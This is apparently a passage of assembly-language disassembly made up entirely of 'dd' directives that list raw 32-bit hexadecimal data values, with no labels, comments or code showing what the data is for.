		dd 28746D16h, 0E717D480h, 40624F2Bh, 2AD5A68Ch,	0A70EBB9Bh
		dd 5F3F0C88h, 6C228612h, 0A9C890E3h, 162700F7h,	2F5FA199h
		dd 0F4A2AFD0h, 47AC2C60h, 8BC5A56h, 0BE49F157h,	0EA5D9801h
		dd 60BF1DAEh, 0B9004220h, 780AA41h, 0FCFA229Eh,	0AD8E03DDh
		dd 5A2B302Fh, 4C54A190h, 8224C98h, 0B6EA0E6Dh, 0F6603F22h
		dd 0F25CA162h, 94200099h, 99785097h, 0E6403214h, 6F0F60D2h
		dd 4528EE9Fh, 40C20574h, 339023D6h, 0B22D41D8h,	0D30B5718h
		dd 3767366h, 0FB3BC353h, 8A80CD94h, 0AF241BE5h,	3C00C89Dh
		dd 24B7B489h, 1559F8B1h, 0E45E3AB2h, 2AC30076h,	46511573h
		dd 0E74B1253h, 52002C5Eh, 0C12A8DAAh, 882B00B5h, 97C40A2h
		dd 0E405764Dh, 2DC8A145h, 0C9579404h, 8448E7C0h, 0FC9701D1h
		dd 67F95815h, 7FF08E79h, 193A451Dh, 0D6FFBC40h,	3FDF078h
		dd 0A15089D4h, 17900DAAh, 0D750C374h, 0C801E850h, 0D285E965h
		dd 0C833C641h, 0FCF26200h, 0B739C3Ah, 1EF8E175h, 0D2005EE8h
		dd 0F9C5A491h, 0C148BA4Fh, 63854C80h, 35A457C1h, 1C84A214h
		dd 0CE44962Eh, 8AC0C3EAh, 1CEB4550h, 0CFC63936h, 30EE878Bh
		dd 9874C872h, 75B6F204h, 0D8E20F56h, 0C2EE322h,	90A7644Ah
		dd 0EEBFF758h, 0A273033Fh, 0A8DEAA38h, 0E08995B8h, 0BFEF44h
		dd 40FB91EDh, 39755B8Bh, 54773Eh, 7A616B07h, 7D655333h
		dd 3D7800B5h, 0AA1B2528h, 9913ABC8h, 0A0812104h, 3ADC5C02h
		dd 1007954Bh, 1DFDA033h, 3F00C1CCh, 0F632DE5h, 0C5E7708h
		dd 0FCCD5C40h, 30CE0981h, 29CC0E0Ah, 990410E5h,	28FE3ADFh
		dd 47EE2C80h, 0C25C32BAh, 37E73C14h, 0D1770F0h,	0ACD0D235h
		dd 0ECDB197h, 0C2AC0557h, 0CB88C20h, 6200481Ah,	92FC33A3h
		dd 90479F03h, 0DCD05050h, 0F022002Fh, 6763287Ah, 0A77D4B64h
		dd 0A841995Fh, 0FE6A7814h, 964C75E4h, 0FF376134h, 0F2D04438h
		dd 96A18098h, 8C3E72h, 0C9D6DA1Bh, 5DDD524Dh, 4FDED502h
		dd 68408360h, 0B9DA2570h, 0F9003FBCh, 0E8063688h, 94A1FCA6h
		dd 416017FEh, 0C785BD42h, 898DC2C1h, 20E2483h, 0A3C74100h
		dd 8A137941h, 0DA92253Ah, 0E2B9C490h, 0C1E9000h, 16F9955Eh
		dd 1DBE03B4h, 881FCAFAh, 5C6640F0h, 8079583Eh, 0C3F72477h
		dd 0FB2933BAh, 4D7DD987h, 599C7096h, 71009F5Eh,	456A34A8h
		dd 44D704h, 0F9AB1410h,	0BDA3ACFAh, 80BEE02Dh, 0C80686E8h
		dd 0CFCE030Fh, 4AE66F49h, 6CB1991Fh, 65663500h,	1C7BD06Ah
		dd 0C053A387h, 1D0AE8F0h, 350044D1h, 0A8E7B241h, 729E79C2h
		dd 0DA272EDDh, 0E112039Ch, 6481F4AFh, 45C2AE6h,	0FDCED283h
		dd 1122D096h, 98768Bh, 9A3C6E7h, 1C02467Bh, 668ACC02h
		dd 5AD2B5FFh, 0FEE4B8h,	3DAB8DB3h, 827E1E47h, 0CAB14D02h
		dd 405FE11Dh, 4A46E458h, 3B78C071h, 0B09AD753h,	522640B0h
		dd 5610CC9Bh, 10EBFE9Fh, 8062FCC9h, 0DE9B6709h,	1C82EE86h
		dd 2B5CB2A4h, 425A00F8h, 6F504FD3h, 810E5778h, 0F7B231EEh
		dd 1BF82CD0h, 101800B4h, 30E508D1h, 8B001C29h, 0A7AE895Ah
		dd 4AF4E7EBh, 520C225h,	580008D0h, 4EC08ACBh, 9C3AA20Ah
		dd 7000BDE8h, 0D4FC8B98h, 77245324h, 0D740D4E6h, 1623C76Bh
		dd 3070C420h, 0F32827Ch, 72638401h, 20E49E12h, 3AAC5020h
		dd 98028513h, 437FF7BEh, 7AA8F4E3h, 0BB90B4A0h,	0D14867Eh
		dd 878C3AE2h, 0D1F0C623h, 71DAA6h, 6BFF6446h, 8792525Ch
		dd 0FAC53F12h, 406038D0h, 7FEEC96h, 7A467782h, 0B1CE07C6h
		dd 0F4CDEF10h, 8515688Bh, 2EC8E71h, 0D913A8EDh,	4E4E43Ah
		dd 18C6ACE8h, 7578491h,	7099219Dh, 0C96CF84Bh, 0DCB070FAh
		dd 0F54DDC22h, 6062A1C0h, 0BE21117Eh, 0A51F0752h, 3A0B47A0h
		dd 0FE398015h, 2EABA6E6h, 4F45857h, 0C8D7F037h,	8FFED010h
		dd 0BBF23C3Ch, 1EE400BDh, 1636FF22h, 0E4D54CC4h, 432AED12h
		dd 2E9521F4h, 2F87F698h, 0ACB4F8B0h, 6DD010ADh,	0EE900328h
		dd 0E84F9C79h, 60DF50A7h, 0CF5F43B4h, 0FDD30430h, 201B2547h
		dd 0EC714464h, 1D074FF6h, 8EE7B133h, 546ACE42h,	0C7D4010h
		dd 4B000D28h, 599BA22Ah, 583C49E3h, 723A10B4h, 57C004Eh
		dd 17BE6A31h, 5C81CB09h, 2C0852C9h, 41DC225Ah, 6D76853Ch
		dd 0C41D4AC8h, 4228A0EDh, 18CCCA8h, 0AAE2CE4Bh,	2072FFF5h
		dd 2E50F6B7h, 74395FA6h, 2FC20EB3h, 2983200Bh, 3EA921h
		dd 434FEB17h, 0A7414D28h, 0A2307501h, 535AB7E0h, 91FDB698h
		dd 620038A5h, 13F03127h, 33943BEh, 1E7B0BE7h, 0A8009D70h
		dd 66ACCB9Eh, 904DEC61h, 5D7DFCh, 2054831Bh, 3FC7EF57h
		dd 7C43DA4Ah, 8781B12Ch, 274BE270h, 0FF21007Ch,	0BCD6A73h
		dd 6C033F50h, 0E5C719B9h, 1F8907F6h, 7A06AA9Bh,	0B4D800E1h
		dd 0D10C99A4h, 74DCD012h, 20753492h, 16228786h,	0F5009879h
		dd 65FEB1A1h, 274769BBh, 4C092F9Ah, 0EC71FC09h,	0C25BAC00h
		dd 596BE1h, 7A367701h, 5215C597h, 0A3B3809h, 0AAAC10E4h
		dd 0E3190025h, 6FD35B8Ah, 0CE12601Fh, 0A420BB90h, 133A358Fh
		dd 0F2B1F8h, 99943480h,	5C0319E7h, 554281Eh, 7E3CE029h
		dd 5B717481h, 2584406Fh, 97C63559h, 872B0200h, 0E1304CCBh
		dd 528B1F29h, 0E7D680BAh, 223659AEh, 6B3FFA00h,	2B731BE9h
		dd 0E4440224h, 0E64C3365h, 0FC3EE491h, 68009BF6h, 57F97629h
		dd 7ABF2103h, 33A4902Bh, 0D09847AAh, 0AC4B8F89h, 9E096489h
		dd 28D141h, 5B984838h, 0E83E643Eh, 6552000Fh, 0D47D287Bh
		dd 8B742487h, 8803CB58h, 0D098C93Ch, 30052144h,	85C28669h
		dd 345F20C4h, 1854CE4Bh, 77717A78h, 3D6007Fh, 0B4A53297h
		dd 8302A8D7h, 16AE7822h, 0F72CCB44h, 0E757A21h,	6F256029h
		dd 0E67C80E8h, 0BFD5201Eh, 0B52DD9C5h, 552FC07h, 10D999h
		dd 461666ABh, 5C0E2414h, 0C0816CA9h, 0D7B85174h, 2396036Fh
		dd 7C629DD2h, 0F3F65904h, 0FE803ED1h, 1744AFh, 5903EE1Eh
		dd 60FB990Ah, 40294626h, 889D1D43h, 587DF3h, 9FB9933Fh
		dd 0F0B15278h, 5D2801E2h, 58BACCE9h, 6EFEA073h,	0C8732B00h
		dd 531B4190h, 0EC1744DAh, 2E8B270Eh, 40F280DCh,	3C94398h
		dd 4F4CEADAh, 94003FB6h, 0CC395FB2h, 2C2FC38Eh,	1C91CB63h
		dd 47030357h, 8582BBh, 0A38533A0h, 0D0A0CF45h, 0E4AA040h
		dd 72BB0C8h, 33E77CD1h,	5791A703h, 0C0BD975Ch, 1F4798E8h
		dd 39975509h, 2CBCD26Dh, 9C844Eh, 4B5E6A52h, 1E2CE671h
		dd 0AB092366h, 4EF098D1h, 0F4F30702h, 10223553h, 0B54DCA98h
		dd 912B4Ch, 0FF09E7E2h,	91936B20h, 3AC81ACh, 3CE3167Bh
		dd 529580B4h, 2EE09AFBh, 0B40918h, 0CAE9223Eh, 6F24A76Eh
		dd 902C3A53h, 0F23FD204h, 9016D4A0h, 370904C0h,	0B454F4A0h
		dd 2FEB5C08h, 104F5822h, 0C70216F1h, 0C2CBBECAh, 0CC4D7h
		dd 873B8AAAh, 7C966810h, 24D32303h, 0D917F1ECh,	7AF9FFE1h
		dd 52A8402Bh, 1ADB0480h
		dd 3C20F44Ah, 1C0F46FCh, 80A9AE9Eh, 0B205EC5Dh,	0DD01D99Bh
		dd 0CB1E2A40h, 0B897D0CAh, 4544065h, 0B1DA2229h, 167C8C2h
		dd 0EEEC4016h, 795C0938h, 0B87972E6h, 284AF4A8h, 0F5345420h
		dd 502A033Bh, 2C9119A3h, 0A8D37188h, 0E8BDCA00h, 0B78C9C1Dh
		dd 0EA2F0B1Fh, 0E8106F68h, 0A758A02Eh, 7F4B0018h, 0E18BA862h
		dd 0A99905E4h, 0D12B7874h, 2DCF57A4h, 799E003Ch, 0D6A8A9DBh
		dd 9588009Bh, 4D8ABA51h, 810294F4h, 0F8BEED22h,	404C5ECFh
		dd 0AD542BB9h, 725C8CF4h, 7EDD0058h, 2923C969h,	80B0BE35h
		dd 5D6CE614h, 0A605F368h, 0D093722Ch, 0E08748D8h, 8124094Ah
		dd 0C4862B9h, 0D4008CC7h, 0D62919FBh, 0C23743E5h, 447FE016h
		dd 210298D0h, 0CA7A2F7Bh, 0DAB4818Ch, 1870EF49h, 707D5FFAh
		dd 2EFB87C0h, 4133E30Eh, 68F50521h, 4C756780h, 5CB1D425h
		dd 72BA00DCh, 30770B26h, 9419C700h, 63E11C60h, 0D21F0EE3h
		dd 0B72B05C6h, 0C87BB400h, 0E5E8C1BBh, 1254EF01h, 0CD0C7129h
		dd 99DC203Ah, 40E8A35Eh, 3A5B1800h, 8E811E1Ah, 207400C1h
		dd 439AA470h, 41025D56h, 4919163Ch, 5538E1F2h, 2E704032h
		dd 4B3C7287h, 6B14B000h, 54819C0h, 3863808Ch, 141D9CD2h
		dd 40CC5CFAh, 80889E7Ah, 20DE96A6h, 751D45EFh, 9580505Ah
		dd 87C8290Fh, 2BCA092Dh, 48D17C9Ah, 0CE82DC10h,	0C087BE98h
		dd 0BD02A0BBh, 0E40A9971h, 0D57E4655h, 38FC14h,	0FB90B840h
		dd 0BE2C4AC1h, 0A8544324h, 7DB461C8h, 30B83A00h, 58188E44h
		dd 1BD905FDh, 0B20706A4h, 3BC203FCh, 5CD77E85h,	5E878041h
		dd 228EC666h, 79F51F00h, 8CC15D3h, 210B0098h, 0EDE707E4h
		dd 0E5241BF1h, 71895403h, 666B8511h, 0FF99D440h, 122D2316h
		dd 0B0446574h, 490AAEB0h, 84639A04h, 13208F64h,	2A7E18A3h
		dd 5CAFE209h, 0A64E8C9h, 3DFA7A24h, 780B3E0Ch, 80112943h
		dd 0A845C80Dh, 0E00074F4h, 8BC4ACDCh, 4F4C32BCh, 8560CC1Ch
		dd 12F47D52h, 949062AFh, 28E16590h, 1BF5060h, 9E28B2B4h
		dd 3D409A13h, 0C89D04B4h, 0F8332Dh, 6A596880h, 2800634Ch
		dd 0B17C8824h, 745242h,	6E802272h, 0E79CDB6Dh, 7FA827h
		dd 0C968ABD0h, 0C6C21ECCh, 5A3A0CBEh, 39482598h, 8D7E1110h
		dd 0E758ED39h, 0C02912Fh, 0A4446222h, 0C71C687Fh, 0D940FEC9h
		dd 92040515h, 235E4A7h,	70A3375Dh, 3C40F2EEh, 748193Fh
		dd 0D63081D8h, 5ECA8027h, 0C12E05F8h, 0F0E61F05h, 94238790h
		dd 0A09FCFF8h, 6A8B4AC0h, 8D730081h, 0C4F390D3h, 0A309252Fh
		dd 717987DAh, 7ACF8088h, 91CDA832h, 222C8958h, 451CB473h
		dd 6DE1C06Bh, 9A003C60h, 66B2033Dh, 6062ED04h, 1995E17Ah
		dd 9400D699h, 0DB20330Dh, 2677430Fh, 7365706h, 0D284BAA0h
		dd 9480D3CBh, 6182E434h, 90C8DE4Ah, 418493A9h, 3C457B28h
		dd 0CBCC80B0h, 2FB77D1h, 0C8FCE7CDh, 10D9D51Ch,	30E46E00h
		dd 17AD68E6h, 0B02641h,	0FC34B3CCh, 0DB31D0B9h,	4085B942h
		dd 0CA00EC69h, 0A0212ECCh, 7534B2A1h, 0AD091952h, 2FC0002Dh
		dd 3C306322h, 0A08013EDh, 4161E098h, 0D20ED842h, 87CD0159h
		dd 0F74497B8h, 0E86D08Ch, 92998CF6h, 0A1B388C0h, 0F400BE45h
		dd 0B663E432h, 0B15A8E94h, 0B207BD7Ch, 447889h,	0FF12173Bh
		dd 0E8346100h, 5C9CD8C8h, 0C6271214h, 0E594206Fh, 52E8F991h
		dd 75B9B00h, 0C76EFBB6h, 78CC98BDh, 0AA5A029Ch,	0F3D16B1Dh
		dd 5840C0D4h, 4D6B0EAh,	1644DDCAh, 80ACEC28h, 24ACB66Ah
		dd 0FC061C8Fh, 0BC7305F4h, 89F4A02Bh, 1C84D94Bh, 1444E807h
		dd 0F38C5240h, 0BF2F012Ah, 7FFB0D24h, 0D860D65Fh, 4F88CCF5h
		dd 0E870E377h, 0F80A01ACh, 215652E8h, 74E02023h, 0C8F85948h
		dd 0BE1C809Fh, 0E853888Dh, 73EB0F1Fh, 80CA894Bh, 0BDA741D6h
		dd 0F1B200ACh, 9824806Ah, 0E9002158h, 794EB0F8h, 0E30D9Ch
		dd 974552B2h, 7122D6FEh, 0CE22B098h, 7F5C00F9h,	14632FD8h
		dd 98240F99h, 0D313E481h, 3D03C0E6h, 0AD14AC0h,	0E0C498C2h
		dd 4F031B1Fh, 6C053B97h, 84C77E3Ah, 0D3A410C0h,	88B24AC7h
		dd 8500C984h, 6A5E1C39h, 98B31268h, 0A78900CCh,	6025CDE5h
		dd 32B8A687h, 229E8B01h, 4C46C993h, 3051DFC0h, 3D9882CAh
		dd 9C45B4CFh, 1D83882Ch, 52C0A551h, 0DFEC03C8h,	0AF5FED02h
		dd 204C4FB3h, 2F77576Ah, 0D3CACF1Dh, 371E5CC2h,	4044DAh
		dd 1641E9C6h, 7C5E7451h, 807EE43Eh, 227D9F47h, 8D15CCh
		dd 1F06A701h, 0CB5C20BFh, 0BB8C8C96h, 0F99E9D3h, 388A8BF2h
		dd 9E25A7E0h, 6A5AA105h, 80641423h, 1628ADh, 1D02F458h
		dd 1F3DC49Ah, 3C1348B0h, 50B2EF7Dh, 0B8067C38h,	0C8A79DCBh
		dd 0F4829500h, 98991C7Ah, 4846486Fh, 8FCF3C0Bh,	4900ECE5h
		dd 688220E2h, 6A30B45h,	0B499AF90h, 944BF4C9h, 2F172600h
		dd 0C0FE0DB1h, 0C58D00F0h, 0A5634598h, 2224F579h, 0A02DE85Ah
		dd 555D102Ch, 18954C81h, 6C0C84Eh, 62040E86h, 1C76C1A3h
		dd 0D3893F28h, 44C67A87h, 19155A16h, 8D6BF808h,	0C021D0D2h
		dd 4300A95Bh, 0EEC3B650h, 0ECBFCC6h, 4E2E9524h,	0DF85D781h
		dd 0C762E4BEh, 5AAB99C0h, 7C5DE8h, 0CBEF1871h, 2FBA5434h
		dd 34B63498h, 0B892AE80h, 0E85FE27Bh, 5CAC7A13h, 288550DDh
		dd 7D18C08Ah, 8D026DB9h, 5770D4C0h, 0A64EC0C1h,	0BBC9FD2Dh
		dd 48C4402Bh, 0C8EAE179h, 0EB95E8FDh, 88E50A00h, 0BC1482F5h
		dd 0A24D05ABh, 0B801B219h, 51F880CCh, 9E6A33h, 66096FD5h
		dd 0AE4D9B57h, 8E90B201h, 8A897622h, 253CF420h,	94C4C303h
		dd 7DB04005h, 64C0062Dh, 2B1A8F0h, 5DACE80Ah, 0D8742068h
		dd 0B6F2E640h, 33A73C08h, 0E100A2BBh, 72200603h, 0B34A4ED0h
		dd 1071AC92h, 90B50478h, 36908h, 3312EF5Eh, 0C49CE5Fh
		dd 63B4FF00h, 86661531h, 26CC9087h, 6CD0E2h, 0A2D1BD0Bh
		dd 1F127D0Eh, 0C8C898CEh, 0E66B006Ch, 35F5C6E4h, 4725852Ch
		dd 0F088C13Ch, 2124C104h, 0D8C6F67Ah, 0C44D00Fh, 17DC345Ah
		dd 3030EBC2h, 0F424CA8h, 0E264EEE5h, 167040FDh,	31BE2071h
		dd 870EE705h, 0CCF2DAD9h, 1D5FD300h, 0A10FF2C3h, 0B56CA500h
		dd 62B93546h, 8864506Ah, 71280957h, 6858CD1Bh, 0A7B33C09h
		dd 0A451B2h, 907F4778h,	0D9096A4h, 0C1EC700h, 101BE820h
		dd 0E1BD12EBh, 62881E19h, 0CE4248C1h, 202EF4C1h, 0A6B40518h
		dd 0BE7E6910h, 0E4104425h, 0D316A36Bh, 0A4C028F1h, 0B52E0BB2h
		dd 24012C85h, 301C802Ch, 5004E98Ah, 0E6595358h,	0B901A4EDh
		dd 0B09E51E1h, 49EEF893h, 394B1600h, 8A3347B2h,	193212EAh
		dd 14B4B31Ah, 9E98E081h, 5ADA1DC0h, 0CF9EEh, 0DD590AA8h
		dd 72D07E20h, 122E65F8h, 181C1007h, 0B0015B93h,	4BFB4F2Eh
		dd 20FCC23h, 45A08DA5h,	0C052A47Ah, 0E7285C04h,	44F8470Ch
		dd 0AC2C9C2h, 0E8FBCF60h, 302E1D02h, 42B7AF80h,	3CBC41E8h
		dd 7B4C203Ah, 0B50014BBh, 0ED5BD54Ah, 0E89DFh, 386CE2D0h
		dd 0ACCBC796h, 1020915Ah, 0E19ED25h, 78942363h,	75FD760h
		dd 0AA079C5Eh, 0A50E737h, 0DAE4DAE2h, 0DBC40070h, 0B0A5AE8Ah
		dd 850F6E02h, 829622A7h, 224899D0h, 4CA05D53h, 0A3382322h
		dd 51FE4200h, 11968B95h, 0F7080247h, 87C7A1DDh,	0A982ECF1h
		dd 669FEF14h, 463E00CCh, 0A271D817h, 55002A13h,	0B0E1D58Dh
		dd 16F2DD04h, 4572E92Dh, 8C86D044h, 8A03D5D4h, 52F42AA6h
		dd 0A2409065h, 0AACC00C8h, 0B3F55F9Ah, 0CD01F9D1h, 0CA9EC1A0h
		dd 2060AFE8h, 81521EABh
		dd 4133DC3Fh, 0FE035C2Dh, 4F403065h, 0B27EEF04h, 94A4E4C7h
		dd 85B00081h, 55B580D4h, 2A007025h, 8EBC1320h, 12A9058Ah
		dd 90E5F679h, 0B18268E8h, 0B2B6F512h, 0C0748C14h, 0CB9BD92Fh
		dd 0BEDA0062h, 0CDF63140h, 3009F1D7h, 37C504Bh,	84222F0Ch
		dd 0FE8FB0ECh, 0BF37CE60h, 6D03E660h, 0BBFF3F48h, 0B894815Ch
		dd 0D0A11002h, 874E34E7h, 0BCC3CDE8h, 5A7487D2h, 0B243B0h
		dd 59DF1CB8h, 0E0CC3999h, 3865F2C0h, 0CF96187Ah, 16802090h
		dd 0EF275BAEh, 0D16C10D5h, 342C00CCh, 5A85FE93h, 2000173Ah
		dd 0E84C4960h, 9EF1F7Bh, 0CD06636Ah, 0CC18E403h, 4EFA8822h
		dd 415CCCD0h, 0DF5410B5h, 57BC0438h, 0D2884E47h, 0F0594188h
		dd 1735EA00h, 0B1E786E2h, 7A9D0EFCh, 60BE4740h,	7D1DB45Eh
		dd 450ADAB2h, 5801C29h,	0E716EC97h, 5DF0884Ah, 333154Ch
		dd 177385E2h, 9251A06Ch, 5C70002Fh, 36FAE857h, 0C707749Fh
		dd 6488B3CDh, 70CC7565h, 4C50017h, 12803E23h, 6D1F5A1Dh
		dd 458208D4h, 42F18EB8h, 1CDCF4A3h, 0BC642430h,	10BD5216h
		dd 26007C18h, 0CD3B13B1h, 1900D88Fh, 0CA77546Bh, 488E10EAh
		dd 3A255CDAh, 3ED09090h, 11C2700h, 6A03080h, 0B418BDC8h
		dd 0EE38B542h, 25E7509Dh, 10847290h, 0A40F16FAh, 0A94FA19h
		dd 3C4441h, 226D5C0Fh, 0A8DCD2A3h, 0EA217FD8h, 76F90014h
		dd 0FC4B03BAh, 1C007D94h, 9A54D4C7h, 25935Ah, 5751DD64h
		dd 67AEE723h, 0C86A4F3Dh, 24C6C01Ch, 0C91CE8h, 0F6FD198Bh
		dd 0B08283D8h, 6A292A00h, 4817F14Ch, 475C29DFh,	0F22E1258h
		dd 8C360084h, 56D3F7B6h, 0B3681C0Dh, 45E089E2h,	23CBAB02h
		dd 0A00CDC80h, 9A2412DEh, 2E703C5Bh, 0F17C2F43h, 6E3DA0C4h
		dd 0B56B807Ah, 95BCE97Dh, 0B715094Fh, 5898BB34h, 3F1E4D5Eh
		dd 0B01E453Bh, 66B43900h, 1258D0A8h, 0E0C36135h, 52FC1F08h
		dd 12945701h, 5B87D959h, 70638449h, 0B666E1Fh, 2C0026FFh
		dd 4482EDCAh, 1A2470B8h, 3D121CB0h, 0B51D3E05h,	85495880h
		dd 0C909D76h, 25029A05h, 87CBEF1Ch, 0D0F2D7h, 0A3947C08h
		dd 0DF9A45DEh, 0C97AE000h, 0E177D279h, 29A90087h, 8AD7A522h
		dd 0DB4ECF0Ah, 0BD4E78C8h, 0A9432818h, 6015BC00h, 56083EDEh
		dd 14DD01B1h, 0F3CB6329h, 0F481CEEEh, 10C9D294h, 4CA2690Ah
		dd 5B019D65h, 84E1CCC6h, 2F282271h, 1774203Ah, 603EC8h
		dd 3084059Dh, 0B5699579h, 0BB4A8A71h, 0D91F9040h, 3DAACAh
		dd 0B73111C2h, 0B32BB887h, 0F4FFA51Ch, 21286A00h, 24CFA41Dh
		dd 29864D7h, 2DC7AF8Ch,	2B13F074h, 1E05ECE6h, 1E8E4998h
		dd 0E020CBA0h, 2ED88410h, 6500F57Ch, 63DB790Ch,	11B69E13h
		dd 1342977h, 0DE195344h, 0F0203224h, 0DFCE2612h, 90451958h
		dd 39AC7072h, 0ECCB1925h, 2DF90014h, 4D501C78h,	8CE2051Fh
		dd 0C483D03Bh, 714100A1h, 0C33022D5h, 0DB2417AFh, 7509B512h
		dd 0A2D41808h, 0E06D1203h, 0D214F4D7h, 478B6600h, 5AFA9F93h
		dd 15B788Ch, 30794299h,	6063D954h, 0EA88E348h, 6052039Ch
		dd 0BD0C1FC1h, 5BDEAAF0h, 2020444Bh, 3E179023h,	40862AC9h
		dd 0C862744Fh, 84147F03h, 39ACD0h, 23CE0580h, 0A944FAB2h
		dd 0BF4BA6E8h, 75BD1C21h, 0FF39C7F0h, 1B42E4h, 0BA238BAAh
		dd 0A6927AE2h, 0EFDF2613h, 0A0C8F081h, 0F6D5CDD8h, 3D170193h
		dd 75B4F722h, 0CC353F4Ch, 9F5EE8F0h, 35D18C90h,	6F2F000h
		dd 804A4373h, 2185003Eh, 0CA16AB8Bh, 0E4BE3803h, 0F980F660h
		dd 62B7110Ah, 0D7280085h, 0C1AFE07Fh, 63750020h, 533E107Eh
		dd 17F23BA9h, 0B4FCC400h, 3F66193h, 7AE3005Ch, 0A3D0AA98h
		dd 0E43053F8h, 4D6818B0h, 9C7300D9h, 4184B38Ch,	100A27Dh
		dd 5FFA2956h, 38DB0E3h,	0FE4923DAh, 390025F4h, 4BA1DEAFh
		dd 9327A2h, 48953FD5h, 96FA5626h, 2930251Eh, 0AF18F6AEh
		dd 0BB5A81h, 4805568Ch,	53D74187h, 0C11EF1FAh, 7C003AA3h
		dd 4A16A8D6h, 1779C0C6h, 2AEFDDD7h, 1A61DA00h, 0BA2C127Bh
		dd 35B70050h, 3D996FE7h, 50C48B0h, 39E83256h, 875670Bh
		dd 4E13A003h, 2A3A2C7Fh, 5BC507CCh, 0FEE01436h,	691E476h
		dd 0DFF893A1h, 4900D9E6h, 4EBA9695h, 10E0DCh, 0C08DE271h
		dd 4BFD5AB6h, 5B2C410Ah, 0A640A0F4h, 0C382EF3h,	4F0BA447h
		dd 0D900C379h, 1C3F6A49h, 1D2C5DE7h, 8180A8F4h,	0F363EC5Ah
		dd 8CA0CABBh, 4836F115h, 8381C603h, 0F9A712h, 84B8E6C9h
		dd 910F1AAFh, 0A6FABD07h, 74305930h, 247A04h, 62FCAE7h
		dd 70FBA06Ch, 2C4B8200h, 695A3E38h, 0BCDA3D8Bh,	0A0696BBh
		dd 0A15C6DADh, 4E93DC00h, 597BB721h, 35DA02F8h,	55712DF1h
		dd 4657A880h, 588F74Ah,	0FDDB1474h, 5C40E879h, 63450E96h
		dd 0F5A0CFC2h, 32519FB0h, 2BDA681Ch, 0A3D28483h, 1840C594h
		dd 0A8733421h, 1659C01Ch, 117A3081h, 9097DC03h,	97F4263Ah
		dd 687CDB70h, 9BB80666h, 0B9940B22h, 0F88C4B00h, 82A0F5C3h
		dd 346E4B6h, 2691CAD2h,	5AA1C745h, 743840F4h, 0E0061356h
		dd 1FBB5BA6h, 0C57419h,	44D6FC75h, 0E0FE09DFh, 0D747E500h
		dd 6D16325Ah, 53D7686h,	0C581DB41h, 0B9A40068h,	53F75D43h
		dd 72B6FCA8h, 16E78500h, 7F178CEFh, 77A53D2Eh, 0C4C31E81h
		dd 0D93A0A42h, 0A7C8D0E4h, 0C085460h, 9DA29Ah, 0AF87592Bh
		dd 0AADDF773h, 6154ADA0h, 30A91F24h, 7020EB00h,	0C65590BDh
		dd 810BC39h, 5083E400h,	46CCF054h, 718031Eh, 1569C1F9h
		dd 0A1E32100h, 0E50A4AF7h, 0F0440C65h, 37880FE1h, 752DC00h
		dd 0A1730E7Fh, 0BC9F00BAh, 8AD3666h, 4901EF7Eh,	0C47B3E89h
		dd 51864D5Ch, 0C91CD05Bh, 9E6BE903h, 8821030Dh,	0F4425D60h
		dd 684E0012h, 47D1C6D5h, 0F903392Fh, 0A73A6467h, 0D2C148D8h
		dd 977C0076h, 3E9E7DE8h, 0A4003C61h, 0F6A5885Ah, 3096C27Eh
		dd 0EB31E2A2h, 0C7003351h, 6F9C1461h, 60D00E4Eh, 2D4789C6h
		dd 120E1F3Dh, 2040964Bh, 0DF596D39h, 0D07518F9h, 0DDD22925h
		dd 0AB5D3Eh, 8A88F405h,	78E69Eh, 517A5084h, 4B951777h
		dd 0A05FC429h, 3D53E701h, 6DF05855h, 57D30E5Bh,	0F72064D5h
		dd 0F9C4B18Dh, 31B0E003h, 6223CBDh, 0B2DA05F0h,	0A6040DBh
		dd 828A6618h, 6D45052Bh, 4741F2h, 0BF5755C8h, 42006FC6h
		dd 0BC8FFD96h, 6A340F0h, 4FF32F44h, 5602856h, 678F4238h
		dd 908901E8h, 0C1DE9625h, 2C544065h, 4E1C4C09h,	0F1B0160Ah
		dd 145F258Dh, 1476C468h, 807B6A1Ch, 6D5ABC47h, 0A90CDA69h
		dd 2114BFF7h, 0BB7A01CEh, 2850A746h, 0B617C435h, 9B02C505h
		dd 0C843E5A2h, 0C8BC4D08h, 1F534946h, 83DF2FC4h, 570643E0h
		dd 784C203h, 391DA1D2h,	0E9804B59h, 0BB202F32h,	7D0DF617h
		dd 214F60C4h, 985716E5h, 1C40D685h, 3D3C5CC5h, 6F1A4C54h
		dd 3C1B700h, 0BBF18845h, 0D795E79h, 0BD52251Fh,	42A1E019h
		dd 0EEA42087h, 2490D2E7h, 0E326A880h, 0A23D4D06h, 8DFD0284h
		dd 48BF1D36h, 48C8B888h, 0BD2C0921h, 8A6D07D2h,	0D3560029h
		dd 461975E2h, 0CF61DFA3h, 788FAC0h, 0B5A0BA1Ah,	0DC44102Ch
		dd 5B04ED8Eh, 0B7553608h, 251FD498h, 73E0A5F2h,	910C4E31h
		dd 51C1A4C7h, 0E63400D6h, 7CC61744h, 8D0E81FEh,	843E6A68h
		dd 9C883BBDh, 513260A1h, 7539D3F3h, 4FC100Bh, 6E5C0080h
		dd 0CBA035Bh, 95F0013Ch, 0B10197D9h, 0E6D21245h, 88408240h
		dd 544817B9h, 6EB80Bh, 8F186411h, 0DAEAD624h, 3F175012h
		dd 0D0392423h, 0EBC02Ch
		dd 12D295CFh, 894F514Ah, 1470C238h, 1B86DC4h, 58117DEDh
		dd 0B1E4173Ah, 286A71A5h, 0D8F268h, 759706FDh, 0D6143152h
		dd 0ED34A703h, 88986162h, 0C0C1C35Eh, 359B2271h, 0FF009A55h
		dd 0B60FA5F9h, 1AF958Ah, 34BD40A7h, 808BFDECh, 0D5D0C5E1h
		dd 1466D8EFh, 0C9D11B4Ch, 10067F00h, 3DF2778Fh,	8034BF48h
		dd 8398C23Ah, 90C108BEh, 7A8011BCh, 8EC708E5h, 0D47C0174h
		dd 75442822h, 64702019h, 5294C69h, 1C805DC8h, 30869050h
		dd 0C489A7FDh, 93606F6Eh, 1D7BE2E6h, 6DCD1712h,	88990685h
		dd 682C29AAh, 324000A2h, 0D26110h, 0E97489D4h, 1D81EC30h
		dd 0A81BC50Ah, 5B14C2D0h, 140692D4h, 0C08E7C3h,	7DB9F888h
		dd 0AC00906Ah, 0FF755D62h, 0F1DFAAh, 27987319h,	0CEB9665Ch
		dd 0F0499600h, 0DC13680Eh, 8BF20F06h, 0A060C115h, 0F5EF9909h
		dd 5C2AE207h, 5F37ED62h, 6119404Ch, 0B606496Eh,	6D14F069h
		dd 0D82CCF01h, 0C2BCB321h, 7814BF0h, 0E385DE74h, 5D4E0036h
		dd 0AB0C02CFh, 59EA6A66h, 42720005h, 88FBD71Ah,	5400293Bh
		dd 8966A1E2h, 0C0DB55B3h, 4AD99929h, 8A7064A8h,	0A1CDF301h
